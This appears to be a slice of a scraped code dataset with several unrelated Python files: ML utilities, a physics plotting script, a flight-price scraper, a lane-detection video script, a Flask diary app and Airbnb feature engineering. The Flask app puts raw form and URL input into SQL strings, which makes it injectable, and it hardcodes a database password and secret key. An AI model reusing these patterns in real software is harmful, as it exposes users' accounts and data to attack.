else:\r\n largestVoteVal = -1 # number of votes of largest voted target value\r\n largestVoteTargetVal = -1 # largest voted target value\r\n\r\n # key: class targetVals[j], value: vote score of targetVals[j]\r\n for key in vote.keys():\r\n value = vote[key]\r\n \r\n if value > largestVoteVal:\r\n largestVoteVal = value\r\n largestVoteTargetVal = key\r\n\r\n # append the largest vote result (=prediction) to result array\r\n result.append(largestVoteTargetVal)\r\n resultT.append([largestVoteTargetVal])\r\n\r\n # add vote result value\r\n # https://rfriend.tistory.com/352\r\n dfTest = np.column_stack([dfTest, resultT])\r\n\r\n # display as chart\r\n title = '(kNN) test data prediction'\r\n\r\n # print data as 2d or 3d space\r\n if len(dfTest[0]) == 3: # 2 except for target col\r\n PD_.printDataAsSpace(2, pd.DataFrame(dfTest, columns=['pca0', 'pca1', 'target']), title)\r\n elif len(dfTest[0]) == 4: # 3 except for target col\r\n PD_.printDataAsSpace(3, pd.DataFrame(dfTest, columns=['pca0', 'pca1', 'pca2', 'target']), title)\r\n \r\n # return the result array\r\n return result\r\n","sub_path":"AI_BASE/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":5728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"281894206","text":"from A2 import data_preprocess, model_tuning\n\n\nclass A2:\n best_model = None\n hist = None\n\n def train(self, data_train, data_val):\n \"\"\"\n :param data_train: Predictors and labels in training set.\n :param data_val: Predictors and labels in validation set.\n :param load_model: Set True to load pre-trained model, otherwise train the model from scratch.\n :return: The accuracy on training set.\n \"\"\"\n model = model_tuning.build_model()\n hist, model = model_tuning.train_model(model, data_train, data_val)\n acc_train = model_tuning.measure_acc_train(model, data_train[0], data_train[2])\n\n self.best_model = model\n self.hist = hist\n return acc_train\n\n def test(self, data_test):\n \"\"\"\n :param data_test: Predictors and labels in test set.\n :return: The accuracy on test set.\n \"\"\"\n acc_test = model_tuning.measure_acc_test(self.best_model, data_test[0], data_test[1])\n return acc_test\n\n\ndef data_preprocessing():\n \"\"\"\n :return: The training set, validation set and test set.\n \"\"\"\n predictors, labels = data_preprocess.load_data()\n data_train, data_val, data_test = data_preprocess.train_val_test_split(predictors, labels, 0.2, 0.2)\n X_train_aug = data_preprocess.load_train_aug()\n data_train[0] = data_train[0].append(X_train_aug, ignore_index=True)\n y_train_aug = data_train[1]\n data_train[1] = data_train[1].append(y_train_aug, ignore_index=True)\n data_train, data_val, data_test = data_preprocess.data_prepare(data_train[0], data_train[1], data_val[0],\n data_val[1], data_test[0], data_test[1])\n return data_train, data_val, data_test\n","sub_path":"A2/a2.py","file_name":"a2.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270898451","text":"#!/usr/bin/env python\n# =============================================================================\n## @file\n# simple PyROOT script to visualize the histograms from LoKi_Phi example\n# @author Vanya BELYAEV Ivan.Belyaev@nikhef.nl\n# @date 2008-06-07\n# =============================================================================\n\"\"\"\nSimple PyROOT script to visualize the histograms from LoKi_Phi example\n\nConfiguration file for LoKiExample package\n\nThis file is a part of LoKi project - \n\\\"C++ ToolKit for Smart and Friendly Physics Analysis\\\"\n\nThe package has been designed with the kind help from\nGalina PAKHLOVA and Sergey BARSUK. Many bright ideas, \ncontributions and advices from G.Raven, J.van Tilburg, \nA.Golutvin, P.Koppenburg have been used in the design.\n\nBy usage of this code one clearly states the disagreement \nwith the campain of Dr.O.Callot et al.: \n\\\"No Vanya's lines are allowed in LHCb/Gaudi software.\\\"\n\n\"\"\"\n# =============================================================================\n__author__ = \" Vanya BELYAEV Ivan.Belyaev@nikhef.nl \"\n__version__ = \" CVS Tag $Name: not supported by cvs2svn $, version $Revision: 1.1 $ \"\n# =============================================================================\n\n\nimport ROOT\n\nf = ROOT.TFile( 'PhiMC_Histos.root' )\nf.ls()\nf.cd('PhiMC')\nf.ls()\nh1 = f.Get('PhiMC/K+ K- mass')\nh2 = f.Get('PhiMC/K+ K- mass, chi2_vx<49')\nh3 = f.Get('PhiMC/K+ K- mass, MC-truth')\n\ncanvas = ROOT.TCanvas(\"canvas\",'LoKiExample: LoKi_PhiMC', 1000, 1000 )\n\nh1.SetLineColor(3)\nh1.SetLineWidth(3)\nh1.Draw()\nh2.SetLineColor(4)\nh2.SetLineWidth(3)\nh2.Draw('Same')\nh3.SetLineColor(2)\nh3.SetLineWidth(3)\nh3.Draw('Same')\n\ncanvas.Print ( 'LoKi_PhiMC.eps' )\ncanvas.Print ( 'LoKi_PhiMC.gif' )\n\n\n \n# =============================================================================\n# The end \n# =============================================================================\n","sub_path":"Analysis/Ex/LoKiExample/python/LoKiExample/PhiMC_Histos.py","file_name":"PhiMC_Histos.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"295481512","text":"import numpy as np\nimport datetime\nfrom Pricechecker import *\nfrom scrapeparser import Flight\ndef createPriceMaster(Cities,startDate,lengthOfStays):\n # Cities = list of all the cities we have to go through\n master = np.ndarray((len(Cities),len(Cities),sum(lengthOfStays),25), dtype= np.ndarray)\n # our 4d array which stores top 25 flights^^^\n\n startDate = datetime.datetime.strptime(startDate, '%m/%d/%Y')\n # get next d days\n\n dateConverter(startDate)\n\n Dates = []\n for d in range(0,sum(lengthOfStays)):\n Dates.append(startDate+datetime.timedelta(days=d))\n\n # create a loop to go through the combinations\n\n length = len(Cities)\n\n for i in range(0,length):\n for j in range(0,length):\n if(Cities[i]!=Cities[j]):\n m = np.ndarray((sum(lengthOfStays),25),dtype= Flight)\n print(Cities[i], Cities[j])\n for d in range(len(Dates)):\n #for each date create a matrix\n convertedDate = dateConverter(Dates[d])\n currentFlights = getFlights(Cities[i],Cities[j],convertedDate)\n currentFlights = currentFlights[:25]\n if(len(currentFlights) != 25):\n currentFlights.extend([None] * (25-len(currentFlights)))\n for x in range(0,25):\n m[d][x] = currentFlights[x]\n m[d][0].print()\n master[i][j] = m\n #Add a sort by price somewhere in the lower tier classes\n return master\n\ndef dateConverter(date):\n # input is a datetime object\n Months = [\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"]\n Days = np.arange(1,31)\n convertedDate = Months[date.month+1] + \" \" + str(date.day) + \", \" +str(date.year)\n return convertedDate","sub_path":"Scrapper.py","file_name":"Scrapper.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"252082505","text":"import numpy as np\nimport cv2\nimport numpy.polynomial.polynomial as npp\n\n\"\"\"\nVariable setup-\n1 - Canny thresholds\n2 - Mask polygon co-ords\n3 - Hough transformation vars\n\"\"\"\n# 1 - Lower/Upper Canny thresholds\n# Depreciated - Variables have to manually be set in the canny function otherwise the code breaks.\n\n#2 - Points 1-4 co-ordinates for mask\nx1 = 422\ny1 = 332\nx2 = 123\ny2 = 540\nx3 = 897\ny3 = 540\nx4 = 551\ny4 = 323\n\n#3 - Hough transformation variables\nrho = 2\ntheta = 1 * np.pi/180\nthreshold = 23\nminLength = 3\nmaxGap = 21\n\n\"\"\"\nVideo import/export setup\n\"\"\"\n# Importing the test video\ncap = cv2.VideoCapture(\"test_videos/solidYellowLeft.mp4\")\nif not cap.isOpened():\n raise BrokenPipeError(\"Video not initializing\")\n\n# Defining codecs and videoWriter for creating output video\nfourcc = cv2.VideoWriter_fourcc(*\"DIVX\")\noutput = cv2.VideoWriter(\"annotated_videos/solidYellowLeft_final.avi\", fourcc, 20.0, (int(cap.get(3)), int(cap.get(4))))\n\n\"\"\"\nVideo processing start\n\"\"\"\nwhile True:\n ret, frame = cap.read()\n\n if not ret: # If frame is not read, video has ended, exit\n break\n\n # Image converted to grayscale for processing\n img = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Canny edge detection run on image\n canny = cv2.Canny(img, 174, 173)\n\n # Creating polygon mask\n mask = np.zeros_like(canny)\n imshape = img.shape\n vertices = np.array([[(x1, y1), (x2, y2), (x3, y3), (x4, y4)]], dtype=np.int32)\n cv2.fillPoly(mask, vertices, 255)\n\n # Applying mask and hough transform\n masked_edges = cv2.bitwise_and(canny, mask)\n linesP = cv2.HoughLinesP(masked_edges, rho, theta, threshold, np.array([]), minLength, maxGap)\n\n # Drawing lane lines based upon average of hough lines\n left_points_x = []\n left_points_y = []\n right_points_x = []\n right_points_y = []\n if linesP is not None: # Determining whether a line is horizontal (discarded) or to the left or right of the image\n for i in range(0, len(linesP)):\n l = linesP[i][0]\n # l0 = x1, l1 = y1, l2 = x2, l3 = y2\n # cv2.line(frame, (l[0], l[1]), (l[2], l[3]), (0, 255, 100), 2, cv2.LINE_AA)\n if (l[3]-l[1]) / (l[2]-l[0]) > 0.25 or (l[3]-l[1]) / (l[2]-l[0]) < -0.25:\n if l[0] <= (int(cap.get(3)) //2 ):\n left_points_x.append(l[0])\n left_points_y.append(l[1])\n left_points_x.append(l[2])\n left_points_y.append(l[3])\n else:\n right_points_x.append(l[0])\n right_points_y.append(l[1])\n right_points_x.append(l[2])\n right_points_y.append(l[3])\n\n # Using linear regression to find linear equations representing left and right lines\n left_line = None\n right_line = None\n if left_points_x and left_points_y:\n left_line = npp.polyfit(left_points_y, left_points_x, 1)\n if right_points_x and right_points_y:\n right_line = npp.polyfit(right_points_y, right_points_x, 1)\n\n # Drawing the left and right lines using co-ords determined from line equations\n if left_line is not None:\n cv2.line(frame, (int(npp.polyval(y1, left_line)), y1),\n (int(npp.polyval(y2, left_line)), y2), (0, 255, 100), 4, cv2.LINE_AA)\n if right_line is not None:\n cv2.line(frame, (int(npp.polyval(y3, right_line)), y3),\n (int(npp.polyval(y4, right_line)), y4), (0, 255, 100), 4, cv2.LINE_AA)\n\n # Writing the modified frame to the output video\n output.write(frame)\n\n cv2.imshow(\"frame\", frame)\n if cv2.waitKey(19) == ord('q'):\n break\n\ncap.release()\noutput.release()\ncv2.destroyAllWindows()\n","sub_path":"A3_Line_Detection/videoAnnotator_final.py","file_name":"videoAnnotator_final.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"617425300","text":"import os, requests\nimport pymysql\nfrom datetime import datetime\nfrom flask import Flask, render_template\nfrom flask import request, redirect, abort, session, jsonify\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport random\n\n\n\napp = Flask(__name__, \n static_folder=\"static\",\n template_folder=\"views\")\napp.config['ENV'] = 'development'\napp.config['DEBUG'] = True\napp.secret_key = 'abcabc'\n\ndb = pymysql.connect(\n user='root',\n passwd='8427728c',\n host='localhost',\n db='0424_project',\n charset='utf8',\n cursorclass=pymysql.cursors.DictCursor\n)\n\ndef get_menu(name):\n cursor = db.cursor()\n cursor.execute(f\"\"\"select b.* from tb_members a, tb_diary b where a.id = b.member_id and a.name = '{name}'\"\"\")\n menu = [f\"
  • {row['title']}
    • \"\n for row in cursor.fetchall()]\n return '\\n'.join(menu)\n\n \n@app.route(\"/\", methods = [\"GET\", \"POST\"])\ndef index(): \n \n title = 'Welcome ' + session['user']['name'] if 'user' in session else 'Welcome'\n content = 'Welcome My Diary!'\n \n if 'user' in session:\n name = session['user']['name']\n menu = get_menu(session['user']['name'])\n else:\n name = ''\n menu = ''\n \n return render_template('template.html',\n name = name,\n title = title,\n content = content,\n menu = menu)\n\n@app.route(\"/login\", methods = [\"GET\", \"POST\"])\ndef login():\n message = \"\"\n if request.method == \"POST\":\n cursor = db.cursor()\n cursor.execute(f\"\"\"select * from tb_members where name = '{request.form[\"name\"]}'\"\"\")\n user = cursor.fetchone()\n \n if user is None:\n message = \"

    회원이 아닙니다.

    \"\n else:\n cursor.execute(f\"\"\"\n select id, name, profile, password from tb_members \n where name = '{request.form['name']}' and \n password = SHA2('{request.form['password']}', 256)\"\"\")\n user = cursor.fetchone()\n if user is None:\n message = \"

    비밀번호를 확인해주세요

    \"\n else:\n session['user'] = user\n return redirect(\"/\")\n \n return render_template('login.html',\n message=message)\n\n@app.route('/logout')\ndef logout():\n session.pop('user', None)\n return redirect('/')\n\n\n\n@app.route('/')\ndef diary(id):\n cursor = db.cursor()\n cursor.execute(f\"\"\"select title, content from tb_diary\n where id = {id}\n \"\"\")\n diary_list = cursor.fetchone()\n title = diary_list['title']\n content = diary_list['content'] \n \n return render_template('diary.html',\n name = session['user']['name'],\n title=title,\n content=content,\n menu=get_menu(session['user']['name']),\n id = id,\n img_src = get_img(title))\n\n# 웹에서 이미지 검색 & 결과 보여주기\ndef get_img(word):\n url = \"https://search.naver.com/search.naver\"\n query = { 'where': 'image',\n 'sm' : 'tab_jum',\n 'query' : word\n }\n response = requests.get(url,params=query)\n soup = BeautifulSoup(response.content, \"html.parser\")\n tags = soup.select('img._img')\n \n \n \n return tags[random.randrange(50)]['data-source']\n\n\n@app.route('/create', methods=[\"get\", \"post\"])\ndef create():\n if request.method == \"POST\":\n cursor = db.cursor()\n cursor.execute(f\"\"\"insert tb_diary (title, content, created, member_id)\n values ('{request.form['title']}', '{request.form['content']}',\n '{datetime.now()}', '{session['user']['id']}')\n \"\"\")\n db.commit()\n\n return redirect('/')\n \n return render_template('create.html',\n name = session['user']['name'],\n menu = get_menu(session['user']['name']))\n\n@app.route(\"/delete/\")\ndef delete(id):\n cursor = db.cursor()\n cursor.execute(f\"delete from tb_diary where id='{id}'\")\n db.commit()\n \n return redirect(\"/\")\n \n@app.route(\"/update/\", methods = [\"GET\", \"POST\"])\ndef update(id):\n cursor = db.cursor()\n cursor.execute(f\"\"\"select title, content from tb_diary\n where id = {id}\n \"\"\")\n diary_list = cursor.fetchone()\n title = diary_list['title']\n content = diary_list['content']\n \n if request.method == \"POST\":\n cursor.execute(f\"\"\"update tb_diary set\n title = '{request.form['title']}',\n content = '{request.form['content']}',\n created = '{datetime.now()}'\n where id = '{id}'\"\"\")\n return redirect(\"/\")\n \n return render_template('update.html',\n name = session['user']['name'],\n title=title,\n content=content,\n menu=get_menu(session['user']['name']),\n id = id)\n\n\n@app.route('/crawler/google/')\ndef crawler_google(word):\n# def download_img_from_tag(tag, filename):\n# response = requests.get(tag['data-source'])\n# with open(filename, 'wb') as f:\n# f.write(response.content)\n\n driver = webdriver.Chrome('chromedriver.exe')\n driver.implicitly_wait(10)\n \n url = \"https://search.naver.com/search.naver?sm=top_hty&fbm=1&ie=utf8&query=%EB%84%A4%EC%9D%B4%EB%B2%84%EC%9A%B4%EC%84%B8\"\n driver.get(url)\n driver.find_element_by_xpath('//*[@id=\"srch_txt\"]').click()\n driver.find_element_by_css_selector('#srch_txt').send_keys(word)\n driver.find_element_by_xpath('//*[@id=\"fortune_birthCondition\"]/div[1]/fieldset/input').click()\n# soup = BeautifulSoup(driver.page_source, 'html.parser')\n# tags = soup.select(\"h3.r dO0Ag\")\n# filenames = []\n# for i, tag in enumerate(tags):\n# # tag를 던지면 이미지를 저장하고 이미지명을 반환\n# filename = f'static/{word}{i}.jpg'\n# download_img_from_tag(tag, filename)\n# filenames.append(filename)\n \n# return render_template('crawler.html',\n# files=filenames)\n\n#################################\n#네이버운세 selenium\n#####################3\n# from selenium import webdriver\n# import time\n# driver = webdriver.Chrome('chromedriver.exe')\n# driver.implicitly_wait(3)\n# url = \"https://search.naver.com/search.naver?sm=top_hty&fbm=1&ie=utf8&query=%EB%84%A4%EC%9D%B4%EB%B2%84%EC%9A%B4%EC%84%B8\"\n# driver.get(url)\n\n# driver.find_element_by_xpath('//*[@id=\"srch_txt\"]').click()\n# driver.find_element_by_css_selector('#nx_query').click()\n# time.sleep(1)\n# driver.find_element_by_xpath('//*[@id=\"srch_txt\"]').click()\n# driver.find_element_by_css_selector('#srch_txt').send_keys('19801111')\n\n\napp.run(port=8088)","sub_path":"0424_project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"416010782","text":"import numpy as np \nimport pandas as pd \nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nimport re \nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.model_selection import train_test_split\nimport xgboost as xgb\nfrom sklearn.cluster import MiniBatchKMeans\nimport nltk \nfrom nltk.corpus import stopwords\nimport os \nfrom sklearn.decomposition import PCA\n\nstops = set(stopwords.words(\"english\"))\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n\ndef load_w2v_model(dir = './' , we_fn = 'glove.840B.300d.txt'):\n print(' >> Indexing word vectors ...')\n embeddings_index = {}\n f = open(os.path.join(dir, we_fn))\n for line in f:\n values = line.split(' ')\n word = values[0] #print(\"values:\",values)\n coefs = np.asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\n f.close()\n print(' >> Found %s word vectors. [1]' % len(embeddings_index))\n return embeddings_index\n\ndef count_desc_len(x):\n return len(review_to_sentences(x, tokenizer=tokenizer, stops=stops, remove_stopwords=True))\n\ndef string_to_wordlist( review, stops, remove_stopwords ):\n # Function to convert a document to a sequence of words,\n # optionally removing stop words. Returns a list of words.\n #\n # 1. Remove HTML\n #review_text = BeautifulSoup(review,'html.parser').get_text()\n #\n # 2. Remove non-letters\n review_text = re.sub(\"[^a-zA-Z]\",\" \", review)\n #\n # 3. Convert words to lower case and split them\n words = review_text.lower().split()\n #\n # 4. Optionally remove stop words (false by default)\n if remove_stopwords:\n #stops = set(stopwords.words(\"english\"))\n words = [w for w in words if not w in stops]\n #\n # 5. Return a list of words\n return(words)\n\n\n# Define a function to split a review into parsed sentences\ndef review_to_sentences( review, tokenizer, stops , remove_stopwords ):\n # Function to split a review into parsed sentences. Returns a\n # list of sentences, where each sentence is a list of words\n #\n # 1. Use the NLTK tokenizer to split the paragraph into sentences\n raw_sentences = tokenizer.tokenize(review.strip())\n #\n # 2. Loop over each sentence\n sentences = []\n for raw_sentence in raw_sentences:\n # If a sentence is empty, skip it\n if len(raw_sentence) > 0:\n # Otherwise, call review_to_wordlist to get a list of words\n sentences.extend( string_to_wordlist( raw_sentence, stops = stops , remove_stopwords=remove_stopwords ))\n #\n # Return the list of sentences (each sentence is a list of words,\n # so this returns a list of lists\n return sentences\n\n\ndef process_am(x):\n aa = ''\n if type(x) == pd.core.series.Series:\n x = x.values\n aa = [aa + x[i] for i in range(len(x))]\n aa = aa[0]\n aa = re.sub('\"',\" \", aa)\n elif type(x) == str:\n aa = x\n aa = re.sub('\"',\" \", aa)\n aal = []\n _aal = aa.split(',')\n for aa in _aal:\n aa = re.sub(\"{\",\" \", aa)\n aa = re.sub(\"}\",\" \", aa)\n aa = re.sub(\",\",\" \", aa)\n aa = re.sub(\":\",\" \", aa)\n aa = re.sub('’n',\"\", aa)\n aa = aa.strip()\n aa = re.sub('\\s+',\"_\", aa)\n aa = aa.lower()\n if len(aa)>0: \n aal.append(aa)\n return dict.fromkeys(set(aal), 1)\n\ndef perc2float(x):\n return float(x.strip('%'))/100\n\n\n########################\ntrain = pd.read_csv('train.csv')\ntest = pd.read_csv('test.csv')\n\nprint(\"train:\",train.shape)\nprint(\"test:\",test.shape)\n\n# 1. log_price\nprint(\"1. log_price\")\ny_train = train['log_price']\ntrain = train.drop(['log_price'],axis=1)\nassert train.shape[1] == test.shape[1]\nfor i in range(train.shape[1]):\n assert train.columns[i] == test.columns[i]\n\ntrain_obs = len(train)\nall_data = pd.concat([train,test],axis=0)\n\n# 2. property_type, room_type, bed_type\nprint('--------------> Feature Engineering ... ')\nprint(\"2. property_type, room_type, bed_type\")\nencoder = LabelEncoder()\nencoder.fit(all_data['property_type']) \nall_data['property_type'] = encoder.transform(all_data['property_type'])\n\nall_data['room_type'] = all_data['room_type'].map( {'Entire home/apt':5, 'Private room':3, 'Shared room':1})\n\nall_data.bed_type = all_data.bed_type.fillna('missing')\nencoder = LabelEncoder()\nencoder.fit(all_data['bed_type']) \nall_data['bed_type'] = encoder.transform(all_data['bed_type'])\n\n# 3. amenities \nprint(\"3. amenities\")\nam_list = [process_am( all_data.iloc[i]['amenities']) for i in range(len(all_data))]\nassert len(am_list) == len(all_data)\nv = DictVectorizer(sparse=False)\nX = v.fit_transform(am_list)\namenities_df = pd.DataFrame(data=X,columns=v.feature_names_)\namenities_df.index = all_data.index\nall_data = pd.concat([all_data,amenities_df],axis=1)\nall_data = all_data.drop(['amenities'],axis=1)\ndel amenities_df\n\n#4. accommodates , bathrooms\nall_data.bathrooms = all_data.bathrooms.fillna(0)\n\n#5. cancellation_policy, cleaning_fee\nprint(\"5. cancellation_policy, cleaning_fee\")\nall_data['cancellation_policy'] = all_data['cancellation_policy'].map( {\n 'super_strict_60':20, \n 'super_strict_30':30, \n 'strict':50,\n 'moderate':10,\n 'flexible':5,\n 'long_term':1,\n})\n\nall_data['cleaning_fee'] = all_data['cleaning_fee'].map( {\n True:1, \n False:0\n})\n\n# 6. city\nprint(\"6. city\")\nencoder = LabelEncoder()\nencoder.fit(all_data['city']) \nall_data['city'] = encoder.transform(all_data['city'])\n\n# 7. description TODO\nprint(\"7. description ... TODO\")\nall_data['description'] = all_data['description'].fillna('')\n\nall_data['description_len'] = all_data['description'].apply(count_desc_len)\n\nembeddings_index = load_w2v_model()\n\nfeatureVec = np.zeros((len(all_data),300),dtype=\"float32\")\nwarn_w2v = 0 \nfor i in range(len(all_data)):\n words = review_to_sentences(all_data.iloc[i]['description'], tokenizer=tokenizer, stops=stops, remove_stopwords=True)\n featureVec_i = np.zeros((300),dtype=\"float32\")\n #\n nwords = 0.\n # \n #\n # Loop over each word in the review and, if it is in the model's\n # vocaublary, add its feature vector to the total\n for word in words:\n if word in embeddings_index.keys(): \n nwords = nwords + 1.\n featureVec_i = np.add(featureVec_i,embeddings_index[word])\n # \n # Divide the result by the number of words to get the average\n if nwords > 0: \n featureVec_i = np.divide(featureVec_i,nwords)\n else:\n #print(\">>> WARNING <<< No words in vocaublary\")\n warn_w2v = warn_w2v + 1 \n #print(str(words))\n featureVec[i] = featureVec_i\n\nprint(\" >> No words in vocaublary for \",warn_w2v,\"cases\")\n\n#desc_w2v = pd.DataFrame(data=featureVec , columns=['desc_w2v_'+str(i) for i in range(300)])\n#desc_w2v.index = all_data.index\n#all_data = pd.concat([all_data,desc_w2v],axis=1)\n\npca = PCA().fit(featureVec)\nw2v_desc_pca_transf = pca.transform(featureVec)\nall_data['w2v_desc_pca0'] = w2v_desc_pca_transf[:, 0]\nall_data['w2v_desc_pca1'] = w2v_desc_pca_transf[:, 1]\nall_data['w2v_desc_pca2'] = w2v_desc_pca_transf[:, 2]\nall_data['w2v_desc_pca3'] = w2v_desc_pca_transf[:, 3]\nall_data['w2v_desc_pca4'] = w2v_desc_pca_transf[:, 4]\nall_data['w2v_desc_pca5'] = w2v_desc_pca_transf[:, 5]\nall_data['w2v_desc_pca6'] = w2v_desc_pca_transf[:, 6]\nall_data['w2v_desc_pca7'] = w2v_desc_pca_transf[:, 7]\nall_data['w2v_desc_pca8'] = w2v_desc_pca_transf[:, 8]\nall_data['w2v_desc_pca9'] = w2v_desc_pca_transf[:, 9]\nall_data['w2v_desc_pca10'] = w2v_desc_pca_transf[:, 10]\nall_data['w2v_desc_pca11'] = w2v_desc_pca_transf[:, 11]\nall_data['w2v_desc_pca12'] = w2v_desc_pca_transf[:, 12]\nall_data['w2v_desc_pca13'] = w2v_desc_pca_transf[:, 13]\nall_data['w2v_desc_pca14'] = w2v_desc_pca_transf[:, 14]\nall_data['w2v_desc_pca15'] = w2v_desc_pca_transf[:, 15]\nall_data['w2v_desc_pca16'] = w2v_desc_pca_transf[:, 16]\nall_data['w2v_desc_pca17'] = w2v_desc_pca_transf[:, 17]\nall_data['w2v_desc_pca18'] = w2v_desc_pca_transf[:, 18]\nall_data['w2v_desc_pca19'] = w2v_desc_pca_transf[:, 19]\nall_data['w2v_desc_pca20'] = w2v_desc_pca_transf[:, 20]\nall_data['w2v_desc_pca21'] = w2v_desc_pca_transf[:, 21]\nall_data['w2v_desc_pca22'] = w2v_desc_pca_transf[:, 22]\nall_data['w2v_desc_pca23'] = w2v_desc_pca_transf[:, 23]\nall_data['w2v_desc_pca24'] = w2v_desc_pca_transf[:, 24]\nall_data['w2v_desc_pca25'] = w2v_desc_pca_transf[:, 25]\nall_data['w2v_desc_pca26'] = w2v_desc_pca_transf[:, 26]\nall_data['w2v_desc_pca27'] = w2v_desc_pca_transf[:, 27]\nall_data['w2v_desc_pca28'] = w2v_desc_pca_transf[:, 28]\nall_data['w2v_desc_pca29'] = w2v_desc_pca_transf[:, 29]\n\nkmeans = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit(featureVec) ## TODO: tune the number of cluster \nall_data.loc[:, 'w2v_desc_cluster_100'] = kmeans.predict(featureVec)\n\nkmeans = MiniBatchKMeans(n_clusters=1000, batch_size=10000).fit(featureVec) ## TODO: tune the number of cluster \nall_data.loc[:, 'w2v_desc_cluster_1000'] = kmeans.predict(featureVec)\n\nkmeans = MiniBatchKMeans(n_clusters=3000, batch_size=10000).fit(featureVec) ## TODO: tune the number of cluster \nall_data.loc[:, 'w2v_desc_cluster_3000'] = kmeans.predict(featureVec)\n\nall_data = all_data.drop(['description'],axis=1)\n\n\n# 8. first_review , last_review , number_of_reviews , review_scores_rating\nprint(\"8. first_review , last_review , number_of_reviews , review_scores_rating ... TODO better\")\nmost_recent_review = pd.to_datetime(all_data.last_review).max()\ndelta_last_review = most_recent_review - pd.to_datetime(all_data.last_review)\ndelta_last_review = delta_last_review.fillna(-1)\ndelta_last_review = delta_last_review.map(lambda x: x.total_seconds()/(60*60*24))\nall_data['delta_most_recent_review'] = delta_last_review\n\ndelta_rev = pd.to_datetime(all_data.last_review) - pd.to_datetime(all_data.first_review)\ndelta_rev = delta_rev.fillna(-1)\ndelta_rev = delta_rev.map(lambda x: x.total_seconds()/(60*60*24))\nall_data['delta_rev'] = delta_rev\n\ndelta_rev_density = all_data.number_of_reviews+0.0000000000000001 / delta_rev\ndelta_rev_density = delta_rev_density.fillna(0)\nall_data['delta_rev_density'] = delta_rev_density\n\nall_data = all_data.drop(['first_review','last_review'],axis=1)\nall_data['review_scores_rating'] = all_data['review_scores_rating'].fillna(-1)\n\n# 9. host_has_profile_pic, host_identity_verified, host_since\nprint(\"9. host_has_profile_pic, host_identity_verified, host_since \")\nall_data['host_has_profile_pic'] = all_data['host_has_profile_pic'].fillna('f')\nall_data['host_identity_verified'] = all_data['host_identity_verified'].fillna('f')\nall_data['host_has_profile_pic'] = all_data['host_has_profile_pic'].map({'t':1,'f':0})\nall_data['host_identity_verified'] = all_data['host_identity_verified'].map({'t':1,'f':0})\n\nhost_oldest = pd.to_datetime(all_data.host_since).min()\ndelta_host = pd.to_datetime(all_data.host_since) - host_oldest \ndelta_host = delta_host.fillna(-1)\ndelta_host = delta_host.map(lambda x: x.total_seconds()/(60*60*24))\nall_data['delta_host'] = delta_host\n\nall_data = all_data.drop(['host_since'],axis=1)\n\n# 10. host_response_rate , instant_bookable\nprint(\"10. host_response_rate , instant_bookable \")\nall_data['instant_bookable'] = all_data['instant_bookable'].map({'t':1,'f':0})\nall_data.host_response_rate = all_data.host_response_rate.fillna('0%')\nall_data.host_response_rate = all_data.host_response_rate.apply(perc2float)\n\n\n# 11. latitude,longitude TODO ... leave as-is for now \nprint(\"11. latitude,longitude .......... TODO \")\n# pca = PCA().fit(all_data[['latitude','longitude']])\n# lalo_pca_transf = pca.transform(all_data[['latitude','longitude']])\n# all_data['latitude'] = lalo_pca_transf[:, 0]\n# all_data['longitude'] = lalo_pca_transf[:, 1]\n\n\nkmeans = MiniBatchKMeans(n_clusters=1000, batch_size=10000).fit(all_data[['latitude','longitude']]) ## TODO: tune the number of cluster \nall_data.loc[:, 'geo_cluster_1000'] = kmeans.predict(all_data[['latitude','longitude']])\nkmeans = MiniBatchKMeans(n_clusters=3000, batch_size=10000).fit(all_data[['latitude','longitude']]) ## TODO: tune the number of cluster \nall_data.loc[:, 'geo_cluster_3000'] = kmeans.predict(all_data[['latitude','longitude']])\nkmeans = MiniBatchKMeans(n_clusters=5000, batch_size=10000).fit(all_data[['latitude','longitude']]) ## TODO: tune the number of cluster \nall_data.loc[:, 'geo_cluster_5000'] = kmeans.predict(all_data[['latitude','longitude']])\nkmeans = MiniBatchKMeans(n_clusters=7000, batch_size=10000).fit(all_data[['latitude','longitude']]) ## TODO: tune the number of cluster \nall_data.loc[:, 'geo_cluster_7000'] = kmeans.predict(all_data[['latitude','longitude']])\n\n# 12. name, neighbourhood, thumbnail_url, zipcode \nprint(\"11. name, neighbourhood, thumbnail_url, zipcode .......... TODO better \")\nall_data['thumbnail_url_ok'] = 0 \nall_data['thumbnail_url_ok'] [all_data.thumbnail_url.isnull() == False ] = 1\n\nall_data['neighbourhood'] = all_data['neighbourhood'].fillna('UKN')\nencoder = LabelEncoder()\nencoder.fit(all_data['neighbourhood']) \nall_data['neighbourhood'] = encoder.transform(all_data['neighbourhood'])\n\nall_data['zipcode'] = all_data['zipcode'].fillna('UKN')\nencoder = LabelEncoder()\nencoder.fit(all_data['zipcode']) \nall_data['zipcode'] = encoder.transform(all_data['zipcode'])\n\n# name \nall_data['name'] = all_data['name'].fillna('')\nfeatureVec = np.zeros((len(all_data),300),dtype=\"float32\")\nwarn_w2v = 0 \nfor i in range(len(all_data)):\n words = review_to_sentences(all_data.iloc[i]['name'], tokenizer=tokenizer, stops=stops, remove_stopwords=True)\n featureVec_i = np.zeros((300),dtype=\"float32\")\n #\n nwords = 0.\n # \n #\n # Loop over each word in the review and, if it is in the model's\n # 